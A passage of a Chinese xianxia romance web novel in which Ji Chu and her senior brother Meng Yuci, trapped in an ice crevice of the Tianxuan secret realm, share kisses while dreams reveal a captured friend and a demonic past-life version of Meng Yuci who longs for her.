孟喻辞听得很清楚,她用呢喃柔软的声音唤出的两个字,是“师兄”。 师兄…… 仿佛有什么东西在他体内翻涌,另一个他的绝望和痛苦一瞬间涌了过来,让他心里生出无限的偏执。 他睁开眼,微微和她拉开一点距离,潋滟的双眸望向纪楚,水光盈盈,却深不见底。 “纪楚。” 他启唇,声音有点沙哑,低沉如气声,在她唇边若有似无地触碰,蛊惑一般问她: “告诉师兄,你的空羽浮花,是怎么种下的?” 纪楚的脑子有点跟不上当下的情况。 她本就被幻境搞得头晕分不清前世今生,又忽然来了这么一遭,骤然听见师兄这么问,想也不想便回道: “我种了情蛊,师兄帮我解蛊……” 她话没说完,师兄若即若离的唇忽然又重重压了过来。 这一次比之方才凶的多也强势的多,根本没有给她留下任何喘息的空间。 纪楚感觉自己的脑子越发远离了自己。 整个世界都变得不那么真实,唯有师兄的唇柔软、滚烫,夺走她的呼吸,将她所有的呢喃都吞噬入腹。 她发不出声音,也有些喘不上气,只能靠在师兄身上,任由他修长的指尖按在她后颈处,指腹一点点反复摩挲。 孟喻辞感受着那处细腻的皮肤下隐隐涌出的灵力,与他的神魂悄然迎合。 却也不完全是他,至少不是此刻的他。 …… 不知过了多久,他终于放开她,两人的喘息在黑暗中被放的无限大,连身后的冰面都似乎笼罩了一层薄薄的水汽。 孟喻辞帮她理了理头发,又将她领口紧了紧,以免她过会儿觉得冷。 纪楚还没有回过神来,他便在黑暗中仔细地端详她。 她大睁着眼睛,乌黑的双眸宛如两丸黑水银,在黑暗中依然有着明亮的色彩。 因为修为被压,在黑暗中看不清东西,所以便茫然地发着呆。 他却能将她看得清清楚楚。 因而他能清晰地看到,她脸颊光滑细嫩,因缺氧漫上点红晕,神情迷茫,却不是前世那般颓唐姿态,甚至更加耀眼夺目。 他的目光逐渐从怜惜爱慕中生出几分贪恋,体内压抑不住的那股气息翻腾了一瞬。 他精致的眼尾倏得勾出一抹艳丽的红,却如游鱼入水,很快便消失不见。 师兄的气息只改变了很小的一瞬间,但纪楚还是察觉到了。 她不知道发生了什么,忽然打了个冷颤,猛地回过神来。 离她十万八千里远的大脑终于跟了过来,师兄的呼吸离她很近,他身上那种极为清冷的香也变得浓郁,裹挟了她全部感官, 她意识到刚刚发生了什么,脑子里嗡的一声,匆忙朝后一躲,试图与师兄拉开距离。 因着背后就是冰面,她猝不及防下仰头,定然会重重撞上。 好在孟喻辞一直关注着她的反应,见状及时伸出手,垫在冰面与她的后脑之间。 碰撞发出沉闷的顿响,他的指骨亦被压得一弯。 纪楚一惊,又急忙回头想看他的手。 “没事的。” 孟喻辞捧住她脸颊,将她转了一半的头移回来,声音温和沉静,比以往多了不少温柔的意味: “纪楚,你看着我。” 纪楚:“……” 她唇瓣通红带着水光,只能感觉到师兄正在离她很近的地方看着她。 她张了张嘴,老实道: “我……我看不到。” 黑暗中,似是听见一声叹息般的轻笑。 随后她便被揽进了一个清冷的怀抱,隐隐热意透过衣裳传来,是在这黑暗一片冰冷无比的冰缝中最为温暖可靠的存在。 她没挣扎,伸手沿着师兄衣襟往上摸,摸到了一片濡湿血迹,眼睛迷蒙上 一点雾气: “师兄,你疼不疼?什么时候才能恢复灵力,才能不流血啊?” “不疼。” 孟喻辞拍拍她背,低声道: “很快。” 师兄从来不在这种事情上骗她,纪楚放下心,但也只放下了一点。 混乱的思绪平复下来,她又开始担心起更为重要的事情。 末神不灭,她时刻不能放松。 更何况知道了前世死亡的真相后,她就更加无法安心等着了。 她必须将末神和岑平一起除了,才能彻底放心。 但抬头看了眼头顶,一时半会儿又没有出去的办法。 纪楚只能暂且按捺下性子,在脑海里分析眼下的情况。 根据她之前的经历来看,秘境用每个人记忆中最恐怖的事情作为工具,创造幻象,引人分不清真假,从而丧失理智和斗志,全然被秘境控制。 至于金色眼睛和它背后的“天河”,又究竟是用来做什么的呢? 还有钟离白,他是不是也被吸了进来,而且还出了什么意外? 她心里担心却无能为力,只能愁眉苦脸地叹了口气。 “冷了吗?” 孟喻辞于是两手举着将她从地上提起来,然后把她放坐在他腿上,一边将她完全抱在自己怀里,顺势调整角度,挡住外面飘进来的风。 纪楚:“……不是。” 但她刚说完就打了个冷颤,于是又闭了嘴。 这姿势虽然有点过分亲密,但确实暖和不少。 师兄又伸手将剩下的灵符取过来,重新点燃。 视野一亮,纪楚终于能看清东西了。 面前这一堆微弱的火光还是很有效果的,周围的寒气散了不少,纪楚顿时不再心疼灵符了,心里直道果然还是师兄说得对,语气留着当废纸不如当柴烧。 她于是朝师兄怀里缩了缩,一边调整了下动作,以免压到师兄伤口,然后开口问道: “师兄,你是怎么知道岑平的事的?” 孟喻辞一边将她扭来扭去弄散的头发往里面塞了塞,避免被火堆燎到,一面淡然道: “在幻境里看到了一些片段,猜测而已。” “猜测?” 纪楚有些惊讶。 不知怎的,她总觉得师兄当时的语气格外笃定,不像是“碰巧猜对”这么简单。 但她更好奇: “师兄也陷入幻境了吗?” 她将自己方才的分析讲给他听: “我猜,这个幻境就是复刻让人害怕的记忆。” “所以我在幻境里重新经历被抛弃、被杀死。那师兄呢?你害怕什么?” 孟喻辞双眸暗了一瞬,沉默片刻后道: “我怕失去你。” 纪楚:“……” 她为方才询问师兄时的八卦心理和激动感到内疚。 然后她垂下头,小声道: “师兄这一次,没有失去我。” 孟喻辞的呼吸重了几分,像是在努力克制着什么情绪。 纪楚没有听到回应,忍不住抬头看他。 待看见师兄一副落寞而疲惫的模样时,她忍不住想,或许在师兄是在幻境中看见了她前世的死亡,所以他知道动手的人不是他。 所以他才猜出了前世的真相? 这样就很合理很顺畅了。 纪楚点点头,决定不谈这个让师兄不开心的话题,转而问道: “那师兄怎么知道最后的我是真的呢?说实话,我遇到了好多许盈和好多师兄,简直头都晕了……” 孟喻辞垂眸看她一眼: “你分不清?” 他的语气有点冷,像是在质问“我都能分的清你,你竟然分不清我?” 纪楚语气一卡,在他的凝视下倍感心虚,自然不愿将自己分不清、还拿剑统统砍了的事情说出来,义正辞严道: “……当然分的清!真假师兄也差太多了吧!怎么会分不清呢?!” 她挤出个故作真诚的笑来,一看就是背着他做了什么坏事。 孟喻辞抬手,想捏她的脸,最后也只是轻轻摸了摸: “好傻。” 纪楚脸上的笑容一下子消失不见。 她转头撇嘴,心里不忿。 若非是师兄前世总板着脸一副生人勿近的模样,她又怎会误会他呢? 但凡他对她和颜悦色一点,她不就能多留个心眼了吗? 思想来去,全都是师兄的错。 她因为分不清真假,受了那么多罪,他怎么还能说她傻呢? 纪楚越想越气。 和师兄把一切都说开以后,再加上那个突如其来的吻,她在师兄面前忽然没有了“维持礼貌客气保持距离”的意义。 她可以随便生气了。 纪楚于是转过身去,想要从他怀里出去。 然而她才刚扭着身子挪了下腿,孟喻辞就忽然拉住她胳膊。 他的目光有点莫测,漆黑的眸子里涌动着她看不懂的情绪,声音也变得有点沙哑。 “别动。” 纪楚没反应过来,本能想站起来。 孟喻辞伸手按住她,又重复了一遍:“别乱动。” 师兄的语气听着有点严肃,纪楚不知道发生了什么,还以为出了大事,于是定住不动了。 孟喻辞平缓了一会儿呼吸,这才将她提起来放到自己身边,给她摆了个舒服的适合睡觉的姿势,用有点生硬的语气对她说: “你睡觉吧。” 纪楚:“……” 他并不去看她,抬手整了下自己被她坐乱的衣服,又曲起一只腿挡住她的视线,一边往火堆里扔了几张灵符。 扭头,见纪楚依然睁着大眼睛疑惑地看着他。 他无奈,摸摸她的头,低声哄道: “快睡吧,等你睡醒,我们就能出去了。” 第93章 纪楚闭上眼睛。 她原以为自己经历这么一番激烈的“身心刺激”后根本不可能睡得着。 可谁知刚一闭上眼睛,意识就被疲惫拉着往下沉。 身边的气息太过让人安心,她丝毫没有抵抗这股困意的打算,脖子一歪睡了过去。 纪楚的头在旁边摇来晃去,总让人担心她会把自己的脖子甩断。 孟喻辞伸手将她垂着的脑袋扶起来,靠在自己身上。 纪楚仍在梦里,察觉到熟悉的气息,下意识用脸在他衣服上蹭了蹭,给自己找了个舒服的角度,呼吸声很快变得轻缓宁和。 他垂眸,静静凝视了一会儿她的睡颜,心里那股莫名的燥热逐渐退了下去。 抬手,指尖虚点在她脸颊上方,犹豫半天,到底没有落下去,而是轻轻帮她把垂落的发丝撩到耳后。 然后他转回头,眼神一下子变得淡漠冷寂,只有在面对纪楚时才有的那种温和神情悉数消失不见。 冰面下,漆黑的魔气逐渐朝着他的方向靠拢,最终在他身下汇聚成宛如自身倒影般的一团暗色。 孟喻辞冷眼看着冰面下的东西,也从冰面的倒映中看到了自己眼底的冷意。 他骗了纪楚。 自己并非是在幻境中看到了前世纪楚死亡的场景,而是见到了“另一个他”。 ——另一个已经入魔的孟喻辞。 * 纪楚刚睡着没一会儿,就在梦里见到了钟离白。 对于他会托梦来联系自己这件事,纪楚已经接受良好,连惊讶的流程都省了,直接问起他的情况。 “我还好。” 钟离白说着“还好”,但实际看起来一点也不好,脸色苍□□神萎靡,却十分紧张地问她: “纪楚,你没杀孟师兄吧?” 纪楚惊讶: “你怎么知道……额,是杀了一下……” 钟离白倒吸一口凉气,又听见纪楚说: “不过我及时停手了,我关于前世的记忆有问题。” 她将遇到的幻境和知道的情况简单讲了一遍。 钟离白听的连连吸气,一个劲儿地重复道: “果然如此,果然如此!” “那末神真真不是个东西,竟然用了这么恶毒的手段!差点把我们全都玩死了!” 纪楚道: “那你呢?我当时破开幻境的时候,在金色眼睛附近看见一个和你很像的人。说起来,同样被吸进秘境里的其他人怎么都不见了?大家都去哪了?” 钟离白:“那个人就是我。” “我们所有人都被末神抓了。” 纪楚震惊: “你怎么才告诉我?!我现在就去救你!” 钟离白拉住她: “你先别急,纪楚,还记得你看到的天河吗?” 纪楚点头: “我当然记得,里面有好多个光球,你也在里面,那是什么东西?” “是未孵化的卵。” 钟离白道: “先前我们把事情想的太简单,以为杀死末神,就能彻底阻止它的阴谋,但现在看来,末神就是神族残识的代行者,它从一开始的目的,就是复生神族。” “如今众多修士为秘境所困,悉数成了孵化神族残识的躯壳。” “纵使你能杀死末神,也无法杀死这么多附身修士的神族残识,安全起见,你不能自投罗网,更不能来救我。” “你什么意思?” 纪楚猛得抬眼看向他: “钟离白你不想活了是吗?” “我不是!我当然想活!” 钟离白被她的反问激得着急起来,但转头又萎靡下去: “……可是我更希望你活着。” “天璇秘境就是一个巨大的孵化场,根本没有出去的办法,这里一重接着一重的幻境折磨,迟早会把所有人逼疯。我也只是靠着四方罗盘才勉强维持着神志……但你跟我们不一样,你是天命之人,一定能找到出去的办法……” 纪楚打断他: “别跟我说这么多废话!我不可能自己出去的,要么你和我一起把这件事解决了,要么咱俩就当没有重生过!” 钟离白着急: “你想怎么解决?难道你想在所有人被困住做成卵之前,就把大家全杀了吗?” “……” 纪楚磨了磨牙,破罐子破摔道: “……全杀了又如何?” 钟离白无奈: “别说气话了,纪楚,你做不到的……难道,你现在能下得去手杀我吗?” 杀死还未成魔的人,只因为他可能成魔…… 纪楚知道自己做不到。 “难道就眼睁睁看着末神阴谋得逞吗?!” 纪楚感觉自己心里有口气憋着,不上不下的: “难道你要我站在这里看着你被夺舍然后去死吗?” “不行。” 钟离白老实道: “你不能站在这看着,你得想办法离开。我给你卜了一卦,九死一生,还是有一线生机的,你先出去,再找办法弑神……” “我不走。” 纪楚硬邦邦打断他: “我出不去,我也被困在秘境里了。” 钟离白身影变虚,似乎快要支撑不住梦境了,语气越发着急: “我是认真的,纪楚,你是我最后的希望了……” “我也是认真的。” 她脸上一点笑意也无,恶狠狠道: “要是你死了,我立马也去死!反正这条命本来就是捡的,干脆就让神族把所有人都杀了吧!” 钟离白一怔,动了动嘴想说什么,但还没发出声音,他的身影就消失不见了。 纪楚弯下腰低着头,被钟离白气得火大。 她锤了锤自己的胸口,用力呼吸了几下。 她不相信事情已经无可挽回了,连她都能从幻境里出去,钟离白为什么不可以,其他人为什么不可以? 纪楚抬头,发现自己并不在睡着前的冰缝中,而在一个陌生的地方。 这个梦一层套着一层,似乎还没完全结束。 空气泛着凉意,不像梦见钟离白时的一片混沌,这里更像是被一处被冰封的湖底,四周都是半透明的冰面。 透过冰面朝外看,只能看到冰层间隙中的裂纹,以及寒冰反射的幽光。 除了冰,还是冰。 一个活物也没有。 “这是哪?” 纪楚刚一开口,就发现自己的声音在这片寂静的世界里显得格外巨大,把她自己都吓了一跳。 这个地方连活物的呼吸声都没有,只有一片漫无边际的沉寂,因而一点动静都会被无限放大。 不是她睡着前的冰缝,这里更幽深安静,却不让人感觉到寒冷。 呆的久了,甚至会觉得一起的烦躁、焦虑通通消失,好像自己也变成了一块沉静的冰,无悲无喜。 “我怎么才能出去?” 她放低了声音,自言自语,但在这里仍然像是用了什么扩音法器一样,格外突兀。 没人回答,纪楚于是闭了嘴,顺着旁边的冰块左摸摸右拍拍,试图找到离开梦境的办法。 身后却忽然漫上来一道冰凉的气息。 水雾一样,轻柔无形,却密不透风,瞬间将她整个人包裹在内。 纪楚的动作一僵,感受到一点冰冷的触感贴在她后颈上。 她被这份寒气一激,打了个冷颤。 一回头,竟然看见了师兄。 师兄身上没有伤口,看起来,比现实中的师兄要冷上许多,整个人都带着一股肃杀寂寥气息。 长睫微垂,双眸幽深,指节苍白修长,因她转身的动作而僵在半空。 这里果然还是梦。 纪楚心想。 她往日里很少梦见师兄,师兄也不会用托梦的法子来找她。 如果不是幻境作祟,那梦里的这个师兄委实有点奇怪了。 看着她的目光不似往日平和沉静,反倒藏着一点说不清道不明的深意,甚至仔细看,似乎还有隐隐水光。 纪楚总觉得,师兄看她的眼神好像很悲伤。 她不解,主动伸手拉了一下师兄的袖子: “师兄?你怎么了?” 这一下仿佛打开了什么开关,孟喻辞感觉自己早已停止跳动的心脏忽然重新跳了起来。 他按捺已久的思念终于有了回应。 反手用五指将纪楚的手包裹住,感受到她温热的触感、跳动的脉搏,顺着指尖传到他的血脉中,连带着让他的心脏也重新跳了起来。 “纪楚……” 终于再一次感觉到她的温度,是真实的,不是幻觉。 他抬手,一把将她拉进自己怀里,用力抱住她,简直像是要将她整个人都揉进怀里。 声音低哑仿佛叹息,短短几个字,却像是道尽无尽的思念和悲伤: “我好想你。” 纪楚有些惊讶。 她还记得一个说法,梦境大多是人心理的投射。 而她梦见的师兄又是眼含泪光又是抱着她要哭不哭的…… 不会吧,不会吧? 她看着人模狗样的,平日里脑子里都在想什么啊?! 纪楚被师兄抱着,悄悄在心里尴尬了一会儿后,很快接受了这个情况。 现实里亲都亲了,梦里抱一抱怎么了? 偶尔对师兄有点奇奇怪怪的幻想,也是正常的……吧。 更何况,这是她的梦,谁会知道呢? 她兀自在心里点点头。 然后抬手抱住师兄的腰,坦荡地摸了几下。 师兄身体一僵,像是没想到她会这么干,连呼吸都颤抖起来。 纪楚给自己打了半天气,但最后也只是壮着胆子对师兄的腰和胸摸了几遍。 师兄一直没有反抗,任由她动作。 纪楚发现梦里的师兄没有受伤,于是又放心地用头蹭了蹭他胸前的衣服,发表“摸完就走”的告别言论: “师兄,不要太想我啦,等我睡醒,我们就能在现实中见面了!” 箍在她腰间的手忽然加重了力道。 “不要走!” 一直沉默的师兄忽然开口。 他先是下意识反驳,而后又放低语气重复了一遍,目光像是在祈求: “纪楚,不要走……” 纪楚愣了一瞬,似乎从他这句话里听出来点非同寻常的情感。 梦里的师兄看起来总是很悲伤,她几乎要心软答应他。 但是理智告诉她现在不是做梦的时候,钟离白和末神还没有解决。 于是 她狠心拒绝: “不行的,师兄,虽然我也不想离开你,但是我现在得去救人!真的不能再睡了!” “况且,这里只是梦,不是吗?” 孟喻辞手上失了力气。 她顺利从他怀里退出来,左右看了看,选中一个地方,然后冲着那块冰面一头撞了过去。 “嘭”的一声,预想中的疼痛没有传来,纪楚脑袋重重朝前一晃,一下子睁开眼。 天色大亮。 面前的火堆已经熄灭了,师兄一手将她搂着,阖着双眼,呼吸清浅,似还在梦中。 纪楚下意识放轻了呼吸。 她盯着师兄的清冷出尘的绝世美颜欣赏了一会儿,忽然想到自己梦里的师兄,又生出一股心虚来。 总觉得自己好像在干坏事…… 她急忙移开视线。 谁知这一低头,她猛然看见了冰面下漂浮着的一团黑影。 黑影中间一双漆黑精致的眼睛,正隔着厚厚的寒冰,与她四目相对。 第94章 对上冰面下的那双眼睛的同时,纪楚整个人都愣住了。 那团黑影像是盘旋在冰面下的倒影,边界影影绰绰,逐渐从师兄身下蔓延到她这边来,变成一个和师兄相似的、搂着她的形状。 ——像是在隔着冰面拥抱她。 而那双精致漂亮微微上挑的眼睛,冰冷、肃杀,却无端透着点缱绻和思念,正一眨不眨地盯着她。 察觉到她的注视,那团黑影竟分出一缕主动朝她的方向靠近,似是向她伸出手,在邀请她。 纪楚被那双眼睛所迷惑,瞬间忘了所有的动作,如同被召唤一样,下意识伸出手,想要触碰那团黑影。 隔着冰面,她本不该碰到任何东西。 但指尖靠近冰面的一瞬间,仿佛穿透了一层若有似无的膜,一下子按到了冰层之下。 没有碰到任何冰或者是水,那下面只有一只冰凉的手,一把捏住她的指尖。 触碰到对方的同时,纪楚感觉自己的心好像都跟着颤了一下。 她下意识想要反手拉住那只手。 但她没能成功。 身边一直安静睡着的师兄忽然睁开眼,动作极快地扣住她手腕。 他用的力气很大,甚至带着点怒意,几乎是将纪楚整个人从地上提了起来。 纪楚原本坐在地上,如今猛得被拉了起来,整个人站立不稳,一下子扑到了他身上。 她茫然地看向自己指尖,方才被冰下那东西一捏的冰凉触感仍在,酥麻的感觉从指尖一路传到心口,让她莫名有点难过。 孟喻辞一手揽住纪楚的腰,将她按在自己怀里,冰冷目光看向冰面,双眸中杀意凛然。 纪楚是我的。 她现在站在这里,她是我的! 冰下黑影沉默着,对他的杀意置若罔闻,只用一双和孟喻辞一模一样的眼睛凝望着他怀里的纪楚。 随后,那团黑影扩大、膨胀,将孟喻辞脚下完全笼罩后,又朝着纪楚的方向延伸。 竟还不死心! 孟喻辞按住纪楚的头,不让她往下看,少微剑无声出鞘,重重砸向冰面。 碎冰之声蔓延。 冰层厚不见底,少微剑剑身没入冰面半数有余,却并未砍到任何东西。 纪楚被这动静吓的回过神来,她急忙挣扎起来,想要往冰下看: “师兄?发生了什么?是有魔物吗?” 孟喻辞从冰面上收回视线,一手抬起她的下巴,低头吻了上去。 他并不像第一次那样急切,而是极缓地在她唇上研磨、时而轻咬,很快便将纪楚的注意力全部吸引了过来。 纪楚渐渐被他或轻或重的追逐弄得有点头晕,被捧着脸无法低头,于是只能放弃挣扎。 待孟喻辞松开纪楚时,冰下那黑影不知何时已经完全消散在冰层之下,仿佛从未出现过。 纪楚喘息着,回过神来,还没忘记刚刚看见的黑影,急忙低头往地上看。 但是冰面干干净净,下面什么都没有。 “怎么可能?” 她看了看冰面,又看向师兄: “师兄,你刚刚有没有看到,那下面有东西?黑色的,还有眼睛?” 孟喻辞平静回道:“没有。” “没有?” 纪楚显然不相信:“若是没有,师兄为何刚刚不让我看?” 她伸出手给他证明: “我刚刚碰到了!真的,师兄,我刚刚真的碰到了那个东西……” 孟喻辞一把抓住她在半空乱晃的手。 他的手掌和指腹干燥温暖,和冰下那只手全然不同,却莫名让纪楚觉得相似。 “纪楚。” 孟喻辞轻轻摩挲着她的指尖,将那上面最后一点凉意拂去,然后看着她的眼睛开口: “天璇秘境中多蛊惑人心之物,你要小心。” 他抬手,轻轻摸了摸纪楚的脸,感受着指腹细腻柔嫩的触感,才觉得心里那股惊慌和后怕消散了不少。 “师兄?” 纪楚不知道师兄为什么忽然用这种目光看着她,疑惑道: “师兄的意思是,我看到的是邪物?” 虽然这么说,但纪楚心里仍有些难言的顾虑。 不知怎的,那双眼睛总让她觉得格外熟悉。 甚至只要一想到冰下的那双眼睛,她就莫名感觉到一阵悲伤,好像眼睁睁看着什么东西错过又被抛弃,但却来不及回头了。 孟喻辞将她脸上的神情尽收眼底,沉默良久,最终只道: “天亮了,我们走吧。” * 师兄说的果然没错,一觉睡醒,虽然灵力还没完全恢复,但是冰缝已经有了融化的迹象。 头顶的冰柱滴滴答答往下滴着水,日光照进这一片狭小的缝隙,竟照出了一条斜向上的出口。 外面仍然是一望无际的冰面,太阳光将冰面照出天一样的蔚蓝。 冰的尽头似乎连着天,扑扑簌簌的雪落下,在冰上铺了一层极薄的白。 纪楚看着这一幕尚且有点茫然,师兄已非常熟练地朝她伸出手: “走吧,我们得赶在天黑前走出这里。” 纪楚丝毫没有怀疑师兄的判断,抓住他伸出的手跟在他旁边。 两行浅浅的脚印从冰缝处开始向着远方延伸。 灵力开始恢复后,孟喻辞的伤口也可以正常愈合了。 只是寻真剑造成的伤口太深,看起来依然触目惊心。 没走两步,纪楚实在看不下去,坚持要将自己所剩无几的灵力拿来给师兄疗伤,结果自己又恢复了萎靡不振的样子。 于是孟喻辞便背着她走。 两行脚印又在半途变成了一行。 师兄的身材看着并不算十分壮实,甚至是清瘦修长的。可实际上骨肉匀称,薄肌细腰,充满力量感。 背着个人也丝毫不受影响,身姿挺拔,衬的纪楚像是个趴在他肩上的挂件,一点重量都没有。 纪楚趴在师兄背上,感觉自己的视野都高了一截。 她两手环在师兄脖子上,并不需要十分用力,便被师兄稳稳托着,连一丝晃荡都没有。 师兄的后背也十分好趴,行走的时候肌肉会微微鼓起,硬邦邦的,靠在上面时,还能感觉到心脏沉稳有力的跳动,十分让人安心。 她一开始还很精神,支着上半身左看看右看看,积极和师兄讨论出去后该怎么救被抓进秘境里的其他修士。 但时间久了,眼前的景色除了冰还是冰,师兄似乎对她的话题似乎也不怎么感兴趣,说来说去都是一个“嗯”字的回答,纪楚逐渐开始觉得无聊。 无穷无尽的寒冷和重复得场景会让人不自觉犯困。 她安静下来,把下巴放在师兄颈窝,几乎已经完全摊开来趴在师兄后背上。 两只胳膊也不再牢牢扒在一起,仗着他不会让她摔倒,十分放松地垂在他身前。 她的头发也像是本人一样,柔软细嫩,慵懒地从她脸侧垂落,发梢刚好落在他衣领处,时而拂过他锁骨,钻进他领口,带来点若有似无的痒。 孟喻辞没有说话,将她背得更稳些。 鼻尖始终萦绕着师兄身上清冷的香,纪楚不知不觉坠入了梦境里。 梦里的这股香气似乎更浓了。 纪楚迷迷糊糊睁开眼,发现师兄在离她很近的地方,一双潋滟的眸子俯在她上方,墨发半散,垂落在她身上。 清浅的呼吸拂过她颈侧,像落了一层寒凉的雪。 “师兄?” 她有点迷茫: “我们不是在冰上走路吗?怎么……” 指尖所触冰凉丝滑,像绸缎。 纪楚回过神来,发现自己竟然躺在一张床上。 而师兄同样也在这张床上,一手支在她耳侧,正居高临下、目不转睛地瞧着她。 他眼底不似往 日冷然从容,也不似上次梦中所见暗藏悲怆,而是含着浅浅的笑意,眼尾勾起一抹诱人的弧度。 一线亮光落在他身后,时隐时现,为他本就精致漂亮的五官增添了几分瑰丽玄奇之色,恍如天人。 就连他身上一贯清冷的香都变得更浓更明显,几乎充斥着她的整个感知,让她的思维也跟着晕晕乎乎的。 一睁眼,就近距离对上这样一张处处散发着诱惑力的惊人容颜,纪楚疑心自己是不是又出了什么幻觉。 不然师兄为什么会用这种表情看着她,简直像是在…… 故意勾引她似的! 她眨了眨眼睛,神色一时惊艳,一时茫然。 俯在她上方的师兄见状,轻轻勾了勾唇。 这一点若有似无的笑意,让他的五官越发美得惊心动魄。 “纪楚……” 他启唇,低声唤她名字。 嗓音如同浸在寒潭之下的美酒,醇香动人。 飘进她的耳朵,攻击她的意志,让她整个人都不自觉一颤。 下一刻,那双微凉的唇便缓缓靠近,一点一点、试探般落了下来。 纪楚睁大了眼睛,没敢动,下意识用力抓紧了身下压着的锦缎。 师兄的动作实在太轻,羽毛掠过水面一般毫无重量,却带起水下更大的涟漪。 她感觉自己反而在这种蜻蜓点水一般的触碰中生出一股难以摆脱的紧张,连呼吸都屏住了。 孟喻辞察觉到她的紧张,伸手拂上她的侧脸。 指尖触碰她脸颊的动作也是极轻极缓的,像是捧着一件珍贵的瓷器,丝毫不敢用力。 “纪楚……” 他贴着她的唇,又低声唤她名字。 这两个字便在两人唇间游移,细微的热意如同悄然生发的种子,无声无息滋长蔓延。 墨发随着他俯身靠近的动作纷纷垂落下来,如蛛网一般密结,将纪楚完全包绕其中。 连发梢都散发着寒意,丝丝缕缕的冷汇合着他身上的气息,一齐朝着纪楚压了下来。 纪楚只觉眼前一暗。 目之所及,指尖所触,呼吸吐纳间萦绕于她周身的,全是来自师兄一个人的气息。 一只修长有力的手顺着她小臂缓缓滑下,触碰到她抓着身下锦缎的五指,轻轻掰开,一根一根插入其中,与她五指相扣。 他的亲吻依然不疾不徐,顺着她的唇角移到脸侧,轻啄细点,缓缓下移。 纪楚却仿佛失去了借力的支撑一般,只能在无限的迷蒙中紧紧抓住师兄的手,感受着他的亲吻和触碰。 恍惚间,听见师兄用低沉微哑的声音问她: “留下来,好不好?”—— 作者有话说:前世的师兄:什么死心不死心的,各凭本事好吧[眼镜] 第95章 留下来? 纪楚迷迷糊糊地想。 什么叫留下来? 她和师兄不是一直在一起吗? 然而孟喻辞虽然是在问她,却并没打算给她细想的机会。 他的吻越发密集地落下来,咬开她衣领,长睫扫过她下颌,痒痒的,点燃一串热意。 空气中的香气似乎更浓了。 纪楚被他的动作扰乱了思绪,再难集中注意力去想他的话。 她感觉血管里仿佛有蚂蚁在爬,浑身都难受起来,又或者不是难受,而是一些别的感觉。 口中不自觉溢出一声轻呼,旋即挣扎起来,想要摆脱这种燥热的感觉。 但上方的师兄却抬手按住她肩膀,以一种并不强硬,却也难以挣脱的力度,将她完全固定在这张床上。 他的手指冰凉,接触后却有隐隐的热意从掌心传来,让肩头那一块骨头都变得又麻又烫。 纪楚动不了,感觉到师兄的呼吸顺着她的脖颈一路洒到胸前。 冰凉丝滑的发丝摊开在她裸|露在外的皮肤上,冷得她忍不住哆嗦起来,其他地方却又热得她不自觉想要触碰到更多冰凉。 …… 她的大脑已经完全停止了思考,感觉自己好像被困在蛛网中,视线迷蒙,只有师兄的眼睛格外明晰。 静谧似寒潭,幽深似冷玉,在昏暗的光线中散发出勾魂夺魄的光。 她喘、、息着,沉迷在这双眼睛里,呢、喃着喊他“师兄”。 他闻言,停下动作,轻轻凑近她的脸,亲吻她的眉间,目光中一片温柔缱绻。 “我在。” “纪楚,我在。” 他轻抚她后颈,空羽浮花感受到另一半灵魂的呼唤,灵力浮动,迎风而展,似逢春见雨,艳艳不可方物。(这是真的花,没有暗指,谢谢审核) 他的目光越发爱怜起来,忽的低头,与她唇齿相依。 眼尾挑出一抹红,让他的五官越发显得浓墨重彩、艳丽逼人。 …… 他已经在那无尽的绝望和孤寂了等了太久,是几十年,还是几百年,又或者是上千年? 他不记得了…… 只记得那天,雷劫之中,灵魂忽然被夺去一半,而后这个世界里,便再也没有了他的空羽浮花的气息。 纪楚走了…… 她离开了这里,带走了他的花。 也带走了他所有的欢愉和骐骥。 他杀遍了与末神相关之人,也将天璇秘境杀了个空,杀到无人再敢靠近沧州,无一人再敢拜神。 杀到整个六界都将他视作邪魔,杀到他自己都快忘了自己曾经还是个剑修。 可是…… 已经没有纪楚了。 …… 他在秘境中如冰中游魂一样等了这么多年,好不容易等到再见她的机会,叫他如何能眼睁睁看着她和别人亲密有加? 是“他”,也不行。 凭什么? 凭什么她恨他、怨他,却能用那样诚挚的心意,去爱着、去依赖着另一个“他”? 这对他不公平。 他又如何才能甘心?! 嫉恨像岩浆一般在他心底翻涌,却在积年累月的绝望中被压成了漆黑平静的死寂。 任由心中如何波涛汹涌,孟喻辞面上永远是一派清冷沉静姿态。 他亲吻着、拥抱着纪楚,感受着她的存在和温度,也感受着沉寂已久的心脏重新跳跃的声音。 在这天璇秘境之中,在这重重寒冰之下,唯有纪楚,才是唯一能让他活过来的人。 他好想她。 他不想让她离开。 不止是以梦境的形式,他想永远留在她身边,占据她的全部。 哪怕,谁死……都无所谓。 …… 纪楚猛得睁开眼。 她的心脏还在“咚咚咚”地猛烈跳动,呼吸急促,止不住地喘息。 冰上盖着一层薄薄的雪,身后长长一串脚印蔓延到远处。 师兄已经背着她走了很远,入目所及早已看不见他们掉下来的冰缝。 察觉到她醒了,孟喻辞便道: “醒了?正好,就快出去了。” 他的声音清冷柔和,并不像梦里在她耳边低语时的缱绻迷离。 纪楚:“!” 她平缓了一下呼吸,忽然抬手打了自己一下。 清脆的一声响。 孟喻辞:“?” 他转头,想看看她怎么了。 怎么好端端的睡了一觉,醒来却忽然开始对自己动手了? 然而他刚看过去,纪楚便 挣扎着手脚并用地从他身上爬了下去。 孟喻辞下意识抬了下胳膊,想拦住她,但一直懒洋洋的纪楚此刻却灵活的像只滑不溜手的兔子,一下子跳到了地上。 ——他捞了个空。 掌心空空荡荡,很快便被寒气扑满。 他停下来,伸手将她扶了一把,微微蹙眉: “怎么了?” 纪楚摇头似拨浪鼓,站稳后便果断甩开他的手,还朝后退了两步,以拉开距离。 她怎么敢告诉师兄她做了奇奇怪怪的梦?! 梦里的师兄魅惑主动还特别奇怪,和现在面前这个清冷出尘的师兄完全不一样,但却一样好看,她在梦里根本没能把控住…… 不行不行不行! 她怎么能对师兄做这样的梦?! 而且这里是天璇秘境,末神未死,钟离白没救,她怎么还能有闲工夫做这种梦?! 一定是寒冷侵蚀了她坚强的意志,加上离师兄太近勾起了一些不该有的心思…… 纪楚抬手,打算再给自己一下,清醒清醒。 手腕却被拉住了。 孟喻辞看她的眼神已经满是担忧: “到底是怎么了?纪楚,不要着急,你告诉我,我来替你想办法。” 师兄握住她手腕的感觉也和梦里一模一样,她还清楚地记得那时候师兄用的什么样的语气在她耳边一遍遍说“我好想你”…… 纪楚:“……” 救命啊! 她又想打自己了。 见她一直不说话,孟喻辞叹气,上前一步,另一只手拂上她脸上的红痕,心疼地摸了摸,语气也带了几分责怪: “你不疼吗?” 就是要疼才能清醒啊! 纪楚在心里呐喊。 